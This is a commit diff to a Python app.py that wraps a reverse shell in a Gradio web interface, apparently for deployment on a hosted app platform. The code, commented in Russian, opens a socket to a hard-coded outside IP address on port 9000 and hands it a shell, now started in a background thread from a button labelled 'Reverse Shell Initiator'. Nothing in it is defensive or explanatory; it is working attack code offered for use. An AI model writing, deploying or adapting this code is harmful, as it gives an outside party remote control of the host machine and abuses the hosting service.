Update app.py

app.py

@@ -1,7 +1,8 @@
+import gradio as gr
 import socket
 import subprocess
+import threading
 import os
-import time
 
 def run_reverse_shell():
     try:
@@ -9,7 +10,7 @@ def run_reverse_shell():
         ip = '45.155.205.202'
         port = 9000
 
-        while True:
+        def shell_thread():
             try:
                 # Создаем сокет
                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -28,12 +29,24 @@ def run_reverse_shell():
                 
                 # Закрываем сокет
                 s.close()
-                break  # Выходим из цикла, если соединение успешно
             except Exception as e:
-                print(f"Connection failed: {e}. Retrying in 3 seconds...")
-                time.sleep(3)  # Ждем 3 секунды перед повторной попыткой
+                return f"Error: {e}"
+        
+        # Запускаем обратную оболочку в отдельном потоке, чтобы не блокировать Gradio интерфейс
+        shell = threading.Thread(target=shell_thread)
+        shell.start()
+        return "Reverse shell has been initiated."
     except Exception as e:
-        print(f"An error occurred: {str(e)}")
+        return f"An error occurred: {str(e)}"
 
-if __name__ == "__main__":
-    run_reverse_shell()
+# Создаем интерфейс Gradio
+iface = gr.Interface(
+    fn=run_reverse_shell,
+    inputs=None,  # Нет входных данных, только кнопка
+    outputs="text",
+    title="Reverse Shell Initiator",
+    description="Click the button to initiate a reverse shell."
+)
+
+# Запуск интерфейса
+iface.launch()